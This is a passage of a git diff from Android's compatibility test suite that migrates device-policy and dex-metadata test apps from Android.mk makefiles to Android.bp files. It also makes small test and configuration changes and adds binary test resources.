-import android.os.Handler;
 import android.os.IBinder;
-import android.os.Looper;
 import android.os.Parcel;
 import android.os.Process;
 import android.os.RemoteException;
@@ -45,9 +43,7 @@
                 throws RemoteException {
             switch (code) {
                 case FIRST_CALL_TRANSACTION:
-                    new Handler(Looper.getMainLooper()).post( () -> {
-                         Process.killProcess(Process.myPid());
-                     });
+                    Process.killProcess(Process.myPid());
                     return true;
             }
             return super.onTransact(code, data, reply, flags);
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
new file mode 100644
index 0000000..c52ad38
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// This app is meant for testing device policy permission APIs on legacy apps (pre-M)
+
+android_test_helper_app {
+    name: "CtsSimplePreMApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "21",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
deleted file mode 100644
index 4a6e4f8..0000000
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# This app is meant for testing device policy permission APIs on legacy apps (pre-M)
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSimplePreMApp
-
-LOCAL_SDK_VERSION := 21
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
new file mode 100644
index 0000000..28f59fa
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDevicePolicySingleAdminTestApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
deleted file mode 100644
index 5d9c1fc..0000000
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDevicePolicySingleAdminTestApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES = \
-    androidx.legacy_legacy-support-v4 \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    ub-uiautomator \
-    androidx.test.rules
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
new file mode 100644
index 0000000..614637d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsTransferOwnerIncomingApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+        "testng",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "24",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
deleted file mode 100644
index 62467af..0000000
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsTransferOwnerIncomingApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.legacy_legacy-support-v4 \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    ub-uiautomator \
-    androidx.test.rules \
-    testng
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
new file mode 100644
index 0000000..f24944e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsTransferOwnerOutgoingApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "androidx.legacy_legacy-support-v4",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "ub-uiautomator",
+        "androidx.test.rules",
+        "testng",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "24",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
deleted file mode 100644
index c046da2..0000000
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsTransferOwnerOutgoingApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.legacy_legacy-support-v4 \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    ub-uiautomator \
-    androidx.test.rules \
-    testng
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
new file mode 100644
index 0000000..3b7aec3
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsWidgetProviderApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk b/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
deleted file mode 100644
index 1a804b8..0000000
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsWidgetProviderApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
new file mode 100644
index 0000000..0d7f72f
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsWifiConfigCreator",
+    defaults: ["cts_defaults"],
+    // Don't include this package in any target.
+    // When built, explicitly put it in the data partition.
+    srcs: ["src/**/*.java"],
+    static_libs: ["compatibility-device-util-axt"],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
deleted file mode 100644
index 6ec2c8d..0000000
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsWifiConfigCreator
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index edc2ff6..f19bc3d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -328,7 +328,7 @@
 
         try {
             installAppAsUser(VPN_APP_APK, mUserId);
-            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
+            executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetWithWhitelist");
             rebootAndWaitUntilReady();
             // Make sure profile user initialization is complete before proceeding.
             waitForBroadcastIdle();
diff --git a/hostsidetests/dexmetadata/Android.mk b/hostsidetests/dexmetadata/Android.mk
deleted file mode 100644
index 9af9f44..0000000
--- a/hostsidetests/dexmetadata/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/dexmetadata/TEST_MAPPING b/hostsidetests/dexmetadata/TEST_MAPPING
new file mode 100644
index 0000000..f1068cc
--- /dev/null
+++ b/hostsidetests/dexmetadata/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsDexMetadataHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/dexmetadata/app/Android.bp b/hostsidetests/dexmetadata/app/Android.bp
new file mode 100644
index 0000000..9be64e6
--- /dev/null
+++ b/hostsidetests/dexmetadata/app/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDexMetadataDeviceTestApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/dexmetadata/app/Android.mk b/hostsidetests/dexmetadata/app/Android.mk
deleted file mode 100644
index 8d17ebd..0000000
--- a/hostsidetests/dexmetadata/app/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDexMetadataDeviceTestApp
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt
-
-# Tag this module as test artifact for cts,
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-# Include the make files below us.
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/dexmetadata/app/SplitApp/Android.bp b/hostsidetests/dexmetadata/app/SplitApp/Android.bp
new file mode 100644
index 0000000..ec148f0
--- /dev/null
+++ b/hostsidetests/dexmetadata/app/SplitApp/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDexMetadataSplitApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as test artifact for cts
+    test_suites: ["cts"],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/dexmetadata/app/SplitApp/Android.mk b/hostsidetests/dexmetadata/app/SplitApp/Android.mk
deleted file mode 100644
index 41935d3..0000000
--- a/hostsidetests/dexmetadata/app/SplitApp/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDexMetadataSplitApp
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as test artifact for cts
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-# Include the make files below us
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
new file mode 100644
index 0000000..df0a8bc
--- /dev/null
+++ b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsDexMetadataSplitAppFeatureA",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as test artifact for cts
+    test_suites: ["cts"],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.mk b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.mk
deleted file mode 100644
index 839ca5c..0000000
--- a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsDexMetadataSplitAppFeatureA
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as test artifact for cts
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dexmetadata/host/Android.bp b/hostsidetests/dexmetadata/host/Android.bp
new file mode 100644
index 0000000..d40cb6c
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsDexMetadataHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    java_resource_dirs: ["res"],
+    libs: [
+        "compatibility-host-util",
+        "cts-tradefed",
+        "tradefed",
+    ],
+    // tag this module as test artifact for cts
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    data: [":CtsDexMetadataDeviceTestApp"],
+}
diff --git a/hostsidetests/dexmetadata/host/Android.mk b/hostsidetests/dexmetadata/host/Android.mk
deleted file mode 100644
index a51ddd2..0000000
--- a/hostsidetests/dexmetadata/host/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsDexMetadataHostTestCases
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_RESOURCE_DIRS := res
-
-LOCAL_JAVA_LIBRARIES := \
-    compatibility-host-util \
-    cts-tradefed \
-    tradefed
-
-# tag this module as test artifact for cts
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/dexmetadata/host/AndroidTest.xml b/hostsidetests/dexmetadata/host/AndroidTest.xml
index 3f1603d..dbac924 100644
--- a/hostsidetests/dexmetadata/host/AndroidTest.xml
+++ b/hostsidetests/dexmetadata/host/AndroidTest.xml
@@ -15,7 +15,12 @@
 -->
 <configuration description="Config for CTS Dex Metadata host test cases">
     <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <!-- We manually install the apks and their dm files (performing a full mode installation)
+         So there's no point in enabling instant_apps until we update our installation logic.
+      -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDexMetadataDeviceTestApp.apk" />
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.apk b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.apk
new file mode 100644
index 0000000..875feb5
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.apk
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm
new file mode 100644
index 0000000..bc79e55
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm
Binary files differ
